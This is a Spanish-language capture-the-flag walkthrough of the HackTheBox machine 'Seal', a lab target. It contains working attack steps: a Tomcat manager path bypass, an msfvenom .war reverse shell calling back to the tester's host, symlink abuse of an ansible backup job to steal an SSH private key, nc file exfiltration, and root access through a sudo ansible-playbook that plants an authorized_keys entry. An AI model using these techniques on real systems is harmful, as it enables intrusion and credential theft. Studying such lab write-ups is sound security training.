HackTheBox - Seal


Creado
HackTheBox - Seal

Máquina Linux nivel medio. Fuzzeo loco, repositorios (GitBucket) con commits aún más locos, movimientos sucios con Tomcat Manager, backups con -links- (?) yyyyy ejecución y creación de tareas automatizadas mediante playbooks de ansible ¿qué puede pasar?

TL;DR (Spanish writeup)

Creada por: MrR3boot.

Automatas.

Recorreremos con el servicio web del puerto 443 para comprar verduras :P finalmente encontraremos el servicio Tomcat, fuzzearemos mucho más para saber que tomcat tiene activos tanto /manager como /host-manager.

Aprovecharemos otro servicio activo (puerto 8080) y jugaremos con GitBucket, tendremos acceso al repositorio del sitio de “comprar verduras” y tooodos sus archivos, además de la configuración de tomcat, veremos que se han introducido cambios (viendo los commits) y en uno de ellos veremos una contraseña en la configuración de tomcat. Serán funcionales para acceder al apartado /manager como el usuario tomcat.

Estando dentro tendremos que causar algunos “errores” para bypassear las restricciones que nos pone la config del sitio, algo así como un path traversal. Jugaremos y jugaremos para subir un objeto .war malicioso que al ser ejecutado nos envíe un Reverse Shell, de esta manera lograremos una sesión como el usuario tomcat en el sistema.

Les dejo un script que hice automatizando la creación del objeto .war (simulando que somos msfvenom) y con el cual obtenemos una Shell como el usuario tomcat.

tomAnageRCE.py

Ya dentro inspeccionaremos un archivo llamado run.yml que esta realizando unas tareas, entre ellas un backup, aprovecharemos que una de las carpetas que esta siendo copiada en el proceso tiene permisos de escritura para crear un archivo que realmente sea un link simbólico contra un objeto del sistema, como resultado del backup lograremos acceder al sistema como luis robando su llave privada SSH.

Tendremos el permiso de ejecutar el binario /usr/bin/ansible-playbook como cualquier usuario del sistema, lo usaremos para generar objeto .yml con contenido juguetón y obtener RCE en la máquina como el usuario root.

Clasificación de la máquina según la gentesita

Vulns conocidas (no del todo) y temitas reales.

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

“Es cuestión de escuchar…”

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Movimiento lateral - backups: tomcat -> luis.
  5. Escalada de privilegios.

Reconocimiento #

Enumeración de puertos con nmap 📌

Vamos a descubrir que puertos/servicios tiene abiertos externamente la máquina, para esto usaremos nmap:

❱ nmap -p- --open -v 10.10.10.250 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para utilizar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Y obtenemos:

# Nmap 7.80 scan initiated Wed Aug 25 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.250
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.250 () Status: Up
Host: 10.10.10.250 () Ports: 22/open/tcp//ssh///, 443/open/tcp//https///, 8080/open/tcp//http-proxy///
# Nmap done at Wed Aug 25 25:25:25 2021 -- 1 IP address (1 host up) scanned in 83.03 seconds

Tres puertos:

Puerto Descripción
22 SSH: Podemos obtener una terminal de manera segura.
443 HTTPS: Servidor web con un certificado que “agrega” seguridad.
8080 HTTP-Proxy: Existe un “tunel web” por el cual pasan las peticiones de X a Y, el proxy actúa como intermediario.

Ya conociendo que puertos hay, necesitamos obtener info de ellos, así que exploremos que versiones tiene cada uno y además que scripts (de tooooodos los que tiene nmap) encuentran algo llamativo:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, de esta manera no tenemos que ir uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.10.250
    [*] Open ports: 22,443,8080

[*] Ports copied to clipboard

)~

❱ nmap -p 22,443,8080 -sC -sV 10.10.10.250 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y el escaneo nos devuelve:

# Nmap 7.80 scan initiated Wed Aug 25 25:25:25 2021 as: nmap -p 22,443,8080 -sC -sV -oN portScan 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.11s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Wed, 25 Aug 2021 16:17:17 GMT
|     Set-Cookie: JSESSIONID=node01isb6ojilb3td14a1xa0czkeuh10857.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Wed, 25 Aug 2021 16:17:17 GMT
|     Set-Cookie: JSESSIONID=node0jq4x2uya6pii1bfu6tjhu7nbq10855.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Wed, 25 Aug 2021 16:17:17 GMT
|     Set-Cookie: JSESSIONID=node07941mzij7xi91hvl9nt4ws6xa10856.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4: 
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5: 
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=8/25%Time=61266D0B%P=x86_64-pc-linux-gnu%r(Ge
...
...
...
SF:0</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 25 25:25:25 2021 -- 1 IP address (1 host up) scanned in 33.10 seconds

Bien, cositas relevantes:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1
443 HTTPS nginx 1.18.0
  • Vemos un dominio: seal.htb.

Pero nada más, juguemos con los servicios a ver por donde BOOOOOOOOM! (explotamos e.e)

Enumeración #

Puerto 443 📌

Antes de visitar la web, veamos más info del certificado (SSL/TLS) que contiene el servidor:

❱ openssl s_client -connect 10.10.10.250:443

Entre todo lo que destacamos es el dominio de antes peeero además:

Una dirección de correo, de ahí podemos extraer el usuario admin y de nuevo el dominio seal.htb.

Agreguemos el dominio seal.htb al archivo /etc/hosts, para que al intentar visitar el dominio nos resuelva hacia su respectivo contenido hacia la dirección IP 10.10.10.250:

❱ cat /etc/hosts
...
10.10.10.250  seal.htb
...

Y ahora en la web:

Una web muy linda, pero de la cual no podemos obtener nada que no tengamos ya, así que profundicemos…

Descubramos que objetos esta sirviendo el servidor web por detrás:

❱ dirsearch.py -u https://seal.htb/
...
Target: https://seal.htb/

[25:25:25] Starting:
[25:25:25] 302 -    0B  - /js  ->  http://seal.htb/js/
[25:25:25] 400 -  804B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[25:25:25] 400 -  804B  - /a%5c.aspx
[25:25:25] 302 -    0B  - /admin  ->  http://seal.htb/admin/
[25:25:25] 302 -    0B  - /css  ->  http://seal.htb/css/
[25:25:25] 403 -  564B  - /host-manager/html
[25:25:25] 302 -    0B  - /host-manager/  ->  http://seal.htb/host-manager/html
[25:25:25] 302 -    0B  - /icon  ->  http://seal.htb/icon/
[25:25:25] 302 -    0B  - /images  ->  http://seal.htb/images/
[25:25:25] 200 -   19KB - /index.html
[25:25:25] 302 -    0B  - /manager/  ->  http://seal.htb/manager/html
[25:25:25] 403 -  564B  - /manager/html/
[25:25:25] 401 -    2KB - /manager/status/all
[25:25:25] 302 -    0B  - /manager  ->  http://seal.htb/manager/
[25:25:25] 403 -  564B  - /manager/html

Algunos recursos descubiertos con el wordlist por default de dirsearch, de todos el único llamativo (y que nos da una respuesta interesante) es /manager/status/all:

Tenemos el login para acceder al manager de Tomcat, pero como aún no tenemos credenciales, no logramos pasarlo.

🐈 Tomcat-Manager permite realizar la administración de la instancia en ejecución: controlar las aplicaciones desplegadas (carga, descarga, despliegue y borrado), ver el estado de la instancia, las peticiones que sirven y con qué conector se realizan y el tiempo de procesamiento de cada aplicación. espaciocompartir.inap.es - Administración Tomcat (PDF).

Sabemos que el directorio /manager existe y tiene contenido, pues veamos si hay algo más adentro tanto de manager/ como de manager/status/:

❱ dirsearch.py -x 404 -u https://seal.htb/manager
...
[25:25:25] 200 -   19KB - /manager/..;/
...
[25:25:25] 401 -    2KB - /manager/status?full=true
[25:25:25] 401 -    2KB - /manager/status/
[25:25:25] 401 -    2KB - /manager/status
[09:36:19] 401 -    2KB - /manager/text
...

Contra /manager seguimos obteniendo unos recursos a los que tendríamos acceso solo si tuviéramos credenciales (status code 401), sin embargo hay uno que nos devuelve un 200 OK y el recurso tiene un nombre extraño, pero al intentarlo en la web nos devuelve al home de la página…

Enumerando /manager/status volvemos a ver el recurso extraño solo que ahora existe un redireccionamiento:

❱ dirsearch.py -x 404 -u https://seal.htb/manager/status
...
[09:52:55] Starting: 
[09:52:58] 302 -    0B  - /manager/status/..;/  ->  http://seal.htb/manager/html
...

Y si, al intentar conectarnos a https://seal.htb/manager/status/..;/ nos lleva a http://seal.htb/manager/html.

El recurso /manager/html es conocido en Tomcat, ya que ahí se listan las aplicaciones montadas en el servidor y algunos detalles de ellas… 🤔 Eso me dio la idea de buscarlo de todas las maneras posibles, ya que si existe /manager, debe existir /manager/html.

Finalmente, al probar varias peticiones como:

https://seal.htb/manager/status/html
https://seal.htb/manager/status/..;/html
https://seal.htb/manager/hola/..;/html

Nos muestra el panel login hacia tomcat. La última prueba es llamativa, ya que no le importa el directorio /hola (que supongo no existe) y aun así nos pide las credenciales, pooooor lo que podemos intuir que estamos causando algún tipo de ¿error? ¿bypass quizás? O incluso un ¿path traversal? Oooo que simplemente nos pide las creds porque puede y dentro no hay nada :P, no lo sabemos, pero sabemos que podemos intuir cositas…

Es como que entra a /hola, se sale del directorio al usar ..; y vuelve a quedar en /manager para después entrar a /html, logrando así:

  • https://seal.htb/manager/hola/..;/html redirect a https://seal.htb/manager/html.

Bastante extraño… No obstante claro, tamos igual que antes, no tenemos credenciales y no hay más para ver por acá, movámonos al otro servicio.


Puerto 8080 📌

Vemos un servicio llamado GitBucket que según su propia descripción es una plataforma web basada en Git bastante intuitiva y sencilla de usar. Además nos recibe un nuevo login panel, peeero acá tenemos la posibilidad de crear una cuenta, hagámoslo…

Una vez dentro con nuestras credenciales, vemos:

Tenemos “visión” de los repos credos por root (a la izquierda) y en el centro hay un histórico de los cambios que se han hecho en cada repo. Si nos fijamos, existe el repositorio del servicio web Seal Market, el cual ya recorrimos, pues echémosle un ojo y detallemos con el otro:

Hay varias cositas interesantes:

  • Un usuario llamado alex.
  • Existe un issue en el repo, ya veremos que hay.
  • Vemos una lista de -tareas por hacer-:
    • Habla sobre algo llamado autenticacion mutua.
    • Nos da a entender que hay cambios en los objetos de tomcat (por eso señale los commits).
    • Y que hay que deshabilitar tanto manager como host-manager (que los vimos antes).

Veamos rápidamente el issue:

Vemos la interacción entre dos usuarios, alex que ya lo conocíamos y uno nuevo: luis, guardémoslo también por si algo.

Se sigue hablando del la autenticación mutua, les dejo este excelente post donde explica a detalle como funciona, esta muy bueno:

Antes de adentrarnos en temas locos, veamos que cambios se le hicieron a tomcat, para esto nos podemos apoyar en los commits que se han creado, damos clic en “13 commits” y:

Hay dos relacionados con tomcat, el inicial donde se agregó toooda la config y el segundo que sería una actualización de algo, observemos ese -algo-:

Vemos que a luis se le había filtrado la configuración del usuario tomcat, como la contraseña y los roles asignados, pero bueno como la quito ya no debe ser funcional ¿o si?

Si volvemos a la lista de cosas por hacer recordamos que aún no se ha hecho push (actualizado) el repo con las nuevas configuraciones, entoooooooooonces, las credenciales deberían ser válidas, chequera:

PEEEEEEEEEERFECTOOOOOOOOOO!! Tenemos acceso al manager de tomcat (:

Explotación #

Jugamos con Tomcat Manager 📌

De nuevo hay varias cositas para detallar:

Servicio Versión
Apache Tomcat 9.0.31
JVM 11.0.11
Linux 5.4.0-77-generic

Si exploramos y exploramos no encontramos nada relacionado con esas versiones :(

Acá recordé que una vez se tiene acceso al manager de Tomcat, hay una opción para subir archivos .war (

Es un archivo JAR (tipo de archivo que contiene una aplicación escrita en Java) utilizado para distribuir una colección de JavaServer Pages, servlets, clases Java, archivos XML, bibliotecas de tags y páginas web estáticas (HTML y archivos relacionados) que juntos constituyen una aplicación web. Wikipedia.

Basicamente es un objeto comprimido que dentro contiene los archivos a ser ejecutados :P

), pero claro, la idea detrás de esto es generar ese objeto war, pero con contenido malicioso, para que cuando sea desplegado se ejecute ese contenido.

Lo primero será generar el objeto war malicioso, usaremos msfvenom, pero tomaremos el objeto .war resultante y veremos sus archivos, así explicamos como seria crear el objeto war manualmente: (debemos tener en cuenta algunas cositas (por no tenerlas en cuenta casi me desmayo del desespero :P))

Creamos el archivo con msfvenom:

Le pasamos el payload jsp_shell_reverse_tcp (al estar trabajando con Java) para que una vez sea ejecutado nos envíe una Reverse Shell al puerto 4433 de nuestro sistema.

❱ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.93 LPORT=4433 -f war > warrafa.war

Si vemos que tipo de archivo es el objeto .war (y si leemos el post de arriba) sabemos que simplemente es un .zip (comprimido) pero con otra extensión:

❱ file warrafa.war
warrafa.war: Zip archive data, at least v2.0 to extract

Lo descomprimimos:

❱ unzip warrafa.war 
Archive:  warrafa.war
   creating: WEB-INF/
  inflating: WEB-INF/web.xml         
  inflating: lcpzixabzti.jsp

Bien, si vemos el archivo lcpzixabzti.jsp, nos damos cuenta de que contiene lo que ejecutara la web, en este caso una reverse Shell (que fue lo que le indicamos a msfvenom):

Por lo que si quisiéramos podríamos cambiar su contenido, su nombre, todo, toooooodo dentro y fuera del objeto .jsp, lo que sea que tenga será lo que se ejecutara al desplegar el .war.

En su momento jugué con estas dos reverse Shell:

Listones, sigamos…

Los problemas pueden aparecer si jugamos equívocamente con el archivo web.xml (o a mí me paso y casi muero mentalmente):

Si quieren interactuar con los tags tienen que hacerlo de la manera correcta (y que tengan que ver con implementar un archivo .jsp), así evitan errores, algunos ejemplos:

Entonces, dentro del objeto .xml llamamos a nuestro archivo .jsp, así el aplicativo entiende que debe ejecutar.

Ya teniendo los archivos (WEB-INF/, WEB-INF/web.xml y <archivo>.jsp), lo que hace msfvenom es comprimirlos, podría ser así:

❱ zip warrafa.zip -9 -r ./                                                                      
  adding: lcpzixabzti.jsp (deflated 61%)
  adding: WEB-INF/ (stored 0%)
  adding: WEB-INF/web.xml (deflated 29%)

Y ahora simplemente le cambia el nombre:

❱ mv warrafa.zip warrafa.war

Y ese es el archivo que obtenemos cuando generamos el archivo .war con msfvenom (:

Ya conocemos como se hace manualmente el proceso (es muuuuuuuy sencillo), sigamos…

Lo siguiente es posicionarnos en el apartado que nos permite subir archivos .war, o sea en /manager/html, pero:

F…

Volviendo a nuestra enumeración teníamos un recurso extraño que causaba cosas locas: /..;, antes ya habíamos descubierto algo, probémoslo:

https://seal.htb/manager/..;/html //error
https://seal.htb/manager/hola/..;/html

Vemos las aplicaciones hosteadas actualmente (: Si bajamos un poquito:

Listones, encontramos la opción para subir objetos .war, nos enfocaremos en WAR file to deploy. Damos clic en Browse y buscamos el archivo war que creamos:

Y finalmente damos clic en Deploy:

:O Nos da un error, peeeeeeero si haz estado atento ya viste la razón :P

Intenta ir a la URL:

https://seal.htb/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=<ACÁ_VA_UN_TOKEN_RANDOM_DE_SESIÓN_ASDF>

Pero según lo que hemos trabajo, la URL debería ser:

https://seal.htb/manager/<loquesea>/..;/html/upload?org.apache.catalina.filters.CSRF_NONCE=<ACÁ_VA_UN_TOKEN_RANDOM_DE_SESIÓN_ASDF>

Para que encuentre realmente el recurso, así que podemos apoyarnos de BurpSuite para modificar la URL antes de enviar la petición:

(Abrimos Burp, activamos proxy tanto en la web como en Burp y volvemos a subir el archivo `.war)

Les recomiendo hacer este paso en una sesion incognita así no les toma las cookies que tengan del otro sitio, o no se si es que solo a mi me genero bastantes problemas y no veia el archivo subiendose.

La petición original sería esta:

Debemos modificarla a:

Enviamos la petición (forward) yyyyy en la respuesta:

Hemos subido nuestro archivo correctamenteeeeeeeeeeeeeeeeeeeeeee!! Ahora simplemente quedaría ejecutarlo:

Nos ponemos en escucha por el puerto 4433: nc -lvp 4433 y en la web damos clic a warrafa o generamos una petición contra:

https://seal.htb/warrafa/

Liiiistos, tenemos nuestra Reverse Shell como el usuario tomcat (: realicemos tratamiento de la TTY para poder ejecutar CTRL+C, tener histórico de comandos y poder movernos entre ellos:

💥 He creado un script que casi me deja loco, en él automatizamos la creación del archivo .jsp, web.xml y el .zip, todo esto para obtener una Reverse Shell desde el propio script sin usar msfvenom.

La verdad me gusto demasiado como quedo, ahí se los dejo :P

tomAnageRCE.py

backups : tomcat -> luis #

Existen 2 usuarios con acceso a una Shell:

tomcat@seal:/$ cat /etc/passwd | grep -E "sh$"
root:x:0:0:root:/root:/bin/bash
luis:x:1000:1000:,,,:/home/luis:/bin/bash

Enumerando las carpetas del sistema, caemos en /opt/backups:

tomcat@seal:/opt/backups$ ls -la
total 16
drwxr-xr-x 4 luis luis 4096 Aug 26 21:08 .
drwxr-xr-x 3 root root 4096 May  7 09:26 ..
drwxrwxr-x 2 luis luis 4096 Aug 26 21:08 archives
drwxrwxr-x 2 luis luis 4096 May  7 09:26 playbook

Dentro de playbook hay un objeto llamado run.yml:

- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup--.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

Es un objeto sencillo de leer, hay 3 tareas:

  • 1 - Copia archivos.

    Lo que hace es una sincronización del directorio /var/lib/tomcat9/webapps/ROOT/admin/dashboard con el directorio /opt/backups/files.

    (Algo importante es que copia los -links-, que serian los **links simbólicos que existan en cada objeto.**)

  • 2 - Genera un backup.

    Toma los objetos de la ruta /opt/backups/files/ y los comprime en un solo .gz (gzip) alojado en /opt/backups/archives/backup-<fecha>-<hora>.gz.

  • 3 - Borrado de archivos.

    Sencillamente borra la carpeta /opt/backups/files/ y todo su contenido.

En el paso 1 hay una instrucción muy juguetona, ya que esta copiando el contenido de toooooodo el directorio /dashboard sobre el directorio /opt/backups/files yyyyy también copia los links de los objetos, con lo que podríamos crear un link simbólico a cualquier objeto del sistema, entonces leería nuestro archivo, peeero realmente el contenido sería el del objeto del sistema al que hace referencia :O

Lo malo es que no sabemos si debamos interactuar con este objeto o si sea parte del priv-esc (o de ninguna parte :P), ya que no tenemos posibilidad de ejecutarlo…

Dando unas vueltas vemos esto al listar los procesos del sistema:

tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ps fauxxx
...
root  ...  \_ /usr/sbin/CRON -f
root  ...     \_ /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
root  ...        \_ sleep 30
...

Opaaa, el usuario root tiene una tarea automatizada, esta ejecuta como el usuario luis el binario /usr/bin/ansible-playbook sobre el recurso que vimos antes: /opt/backups/playbook/run.yml. La tarea es lanzada cada 30 segundos (sleep 30).

Pues ahora si toma sentido el backup y la idea de crear un link simbólico, profundicemos…

La idea del link simbólico es fácil, peeeeeero antes de emocionarnos, veamos si tenemos permisos de escritura sobre algún objeto de /dashboard, y si no, pos F:

Y sí, podemos escribir cositas en /uploads, pues juguemos con símbolos:

Primero generamos un archivo normalito:

tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ touch hola.txt
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ls -la
total 8
drwxrwxrwx 2 root   root   4096 Aug 26 22:10 .
drwxr-xr-x 7 root   root   4096 May  7 09:26 ..
-rw-r----- 1 tomcat tomcat    0 Aug 26 22:10 hola.txt

Sabemos que el que esta ejecutando el binario y el archivo run.yml es luis, pues intentemos leer su id_rsa (que no sabemos si exista (existe el directorio .ssh) peeeero por probar):

Leemos la id_rsa (llave privada) para en caso de que exista, autenticarnos con ella al sistema usando SSH sin necesidad de una contraseña.

🔑 Más info de llaves SSH.

Entonces, le indicamos al sistema que tome hola.txt como un link simbólico hacia el archivo /home/luis/.ssh/id_rsa.

Lo que hará el sistema al leer el archivo hola.txt será decir, “ahh, realmente este objeto esta tomando el contenido de .../id_rsa”, así que en el “backup” que hace la tarea, nos estaríamos copiando la llave privada del usuario luis.

Hacemos el enlace:

tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ln -sf /home/luis/.ssh/id_rsa hola.txt 
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ls -la
total 8
drwxrwxrwx 2 root   root   4096 Aug 26 22:09 .
drwxr-xr-x 7 root   root   4096 May  7 09:26 ..
lrwxrwxrwx 1 tomcat tomcat   22 Aug 26 22:09 hola.txt -> /home/luis/.ssh/id_rsa

Listones, ahí se ve la referencia de la que hablamos, al hacer cat hola.txt estaríamos haciendo cat /home/luis/.ssh/id_rsa:

tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ cat hola.txt 
cat: hola.txt: Permission denied

Perfesasdlfkjto. Ahooooora, solo es cuestión de esperar y validar el directorio /opt/archives en búsqueda del nuevo comprimido:

tomcat@seal:/opt/backups/archives$ ls -la
total 1196
drwxrwxr-x 2 luis luis   4096 Aug 26 22:36 .
drwxr-xr-x 4 luis luis   4096 Aug 26 22:36 ..
-rw-rw-r-- 1 luis luis 608920 Aug 26 22:36 backup-2021-08-26-22:36:33.gz

Ya se creó el comprimido, movámoslo a nuestro sistema y lo descomprimimos…

Lo movemos:

❱ nc -lvp 4435 > backup.gz
tomcat@seal:/opt/backups/archives$ nc -w 5 10.10.14.93 4435 < backup-2021-08-26-22\:36\:33.gz

Lo descomprimimos:

❱ gzip -d backup.gz
❱ ls
backup

Leyendo y leyendo encontramos estoooooooooooooo:

❱ strings backup
...
28 mtime=1620367850.0521452
dashboard/uploads/hola.txt
0000600
...

Tenemos la llave privada de luis, la tomamos, la guardamos en un archivo, le damos los permisos necesarios y con ayuda de SSH hacemos:

❱ chmod 700 luis.id_rsa
❱ ssh luis@10.10.10.250 -i luis.id_rsa

Yyyyyyyyyyyyy:

Tamos dentro del sistema como el usuario luis.

Escalada de privilegios #

Revisando los permisos que tenemos contra otros usuarios vemos:

luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

Podemos ejecutar el binario /usr/bin/ansible-playbook como cualqueir usuario del sistema 🧐 busquemos de que se trata y para que sirve…

Ansible es una plataforma para administrar ordenadores, que junto a los playbooks automatizan las tareas llevadas a cabo sobre un host.

✔️ Ansible playbooks are lists of tasks that automatically execute against hosts. Each module within an Ansible playbook performs a specific task. Each module contains metadata that determines when and where a task is executed, as well as which user executes it. redhat

Leyendo vemos que los playbooks estan escritos en formato YAML (.yml), esto para hacerlos de facil lectura y sencillos de usar.

Si recordamos el objeto run.yml es un playbook, ya que dentro tiene varias tareas a ejecutar sobre el sistema, por lo que podriamos ejecutarlo como el usuario root:

luis@seal:/opt/backups/playbook$ sudo /usr/bin/ansible-playbook run.yml

Y el backup se crearia como el usuario root:

luis@seal:/opt/backups/playbook$ ls -la /opt/backups/archives/
total 2376
drwxrwxr-x 2 luis luis   4096 Aug 27 04:51 .
drwxr-xr-x 4 luis luis   4096 Aug 27 04:51 ..
-rw-r--r-- 1 root root 605952 Aug 27 04:51 backup-2021-08-27-04:51:58.gz

Con esto en mente, podemos pensar en dos vectores de ataque:

  1. Hacer el mismo paso que hicimos con tomcat para obtener la id_rsa de luis, solo que ahora seria para obtener la del usuario root.
  2. Crear un playbook con contenido jugoso que sea ejecutado en el sistema, veamos esta opción

Generamos playbook juguetón 📌

Podemos quedarnos con la base del objeto run.yml para empezar a generar nuestro archivo YAML.

Buscando ejemplos en internet que ejecuten instrucciones en el sistema, llegamos a este objeto:

En una de las tareas usa la etiqueta action para ejecutar comandos:

Pues muy sencillo, como prueba inicial digamosle a la tarea que nos ejecute el comando id y su resultado lo guarde en un archivo, si todo va bien, confirmamos que nuestro playbook esta funcionando y que tenemos RCE como el usuario root sobre el sistema.

Nuestro objeto run.yml nos quedaria así:

luis@seal:/tmp/tessst$ cat run.yml 
- hosts: localhost
  tasks:
  - name: Rompiendo cositas rompedoras
    action: shell id > /tmp/tessst/id.txt

Ejecutamos el binario contra el archivo:

luis@seal:/tmp/tessst$ sudo /usr/bin/ansible-playbook run.yml 

Lii ii i i i isssto, nuestra instruccion se ejecuta correctamente y vemos el objeto id.txt con el id del usuario root. Por lo tanto ya podriamos ejecutar lo que quisieramoooooooooooos.

Consigamos una Shell como el usuario root.

Hay varias maneras, pero esta vez lo haremos jugando con las llaves SSH del usuario root, primero validemos si existe el directorio .ssh y si tiene contenido:

- hosts: localhost
  tasks:
  - name: Rompiendo cositas rompedoras
    action: shell find /root > /tmp/tessst/root_dir

Ejecutamos el binario contra el archivo y como resultado en el archivo root_dir vemos:

No existe, así que tendremos que crearlo, no es problema (:

La idea del “ataque” es agregar nuestra llave pública al archivo /root/.ssh/authorized_keys para que cuando intentemos conectarnos por SSH como el usuario root, el sistema interprete que nosotros (los dueños de una de las llaves públicas autorizadas para ingresar) tenemos acceso a la máquina sin proporcionar contraseña.

El “¿cómo?” el sistema permite la autenticación simplemente usando llaves no lo profundizaré, ya que nos vamos del writeup, pero les dejo algunos recursos que lo explican:


Basicamente valida tu llave privada (la que tienes en el sistema) y si criptograficamente hace match con la llave publica alojada en las “llaves permitidas”, pues sencillamente te otorga el acceso.

Entonces, primero debemos generar nuestro par de llaves, obtendremos la privada y la publica, el comando básico es:

❱ ssh-keygen

Y ya tendríamos:

❱ ls /home/jntx/.ssh/
authorized_keys  id_rsa  id_rsa.pub  known_hosts

Nos quedamos con el archivo id_rsa.pub, lo abrimos (o lo que sea que hagas :P) y copiamos su contenido en la clipboard.

Lo siguiente será darle formato a nuestro objeto .yml creando la carpeta .ssh y agregando la llave pública al archivo authorized_keys (además de validar que todo se creó correctamente):

- hosts: localhost
  tasks:
  - name: Carpeta SSH usuario root
    action: shell mkdir /root/.ssh
  - name: Llave publica archivo authorized_keys
    action: shell echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuTFbcJf0gTchUTWp+X/3xyP1JO8gq9nK2JUgf34qudrTWO8b963u0oZLxAFM8Opx8fR9jOXO0w2IE/G+9Az42XLOisqqQlSurPsIjW39I50RnP0vbcWC3GzY8gZAkrtT8yHhqsfGVKt4G6BrClzhLf5OVAywT9fX4TmS8oaLV88NyrPVbPe40NvE7mBbjW69JOr1jKs+tW0mxwyMtT5PpP5gPi16nkeyQ+sIWL3pZ1dW8DqMlUx6j4hftUYR8C2Ngr84hNpDgR4zaLM7H3l0w1nb8PvVbE7+siAP4NhaKui9k7mRWxDnqrWEbPuL/oCCH1qgzYGwJzUkKnV6buyh0plVZNljfEl0tgR/Cj4VDBz9zv0FQIB+jPY73a4f96rBETEVluJWpLxcEeXY80q/WF08kOVzbf3KO8sI2EZBqoriiBannycjK2gKH2re/+UYsJiB/tufEBLQB7sSf4xeRsEdqSv/qf9rrB4lAsporP/5otsUpvyh32dibwnNQR3E= root@ayya" > /root/.ssh/authorized_keys
  - name: Check agregazhion y creasion
    action: shell find /root > /tmp/tessst/dir_root

Perfecto, nuestras tres tareas bien lindas, ejecutemos a ver queeee:

luis@seal:/tmp/tessst$ sudo /usr/bin/ansible-playbook run.yml 

